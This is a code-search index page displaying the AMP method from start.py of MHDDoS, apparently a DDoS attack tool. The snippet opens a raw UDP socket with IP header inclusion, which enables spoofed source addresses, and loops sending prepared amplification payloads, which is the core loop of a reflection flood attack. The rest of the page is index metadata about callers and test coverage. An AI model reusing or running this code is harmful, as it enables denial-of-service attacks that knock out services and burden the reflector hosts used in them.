MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / AMP

Method AMP

start.py:569–575  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

567 Tools.safe_close(s)
568
569 def AMP(self) -> None:
570 s = None
571 with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
572 s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
573 while Tools.sendto(s, *next(self._amp_payloads)):
574 continue
575 Tools.safe_close(s)
576
577 def MCBOT(self) -> None:
578 s = None

Callers

nothing calls this directly

Calls 2

sendtoMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected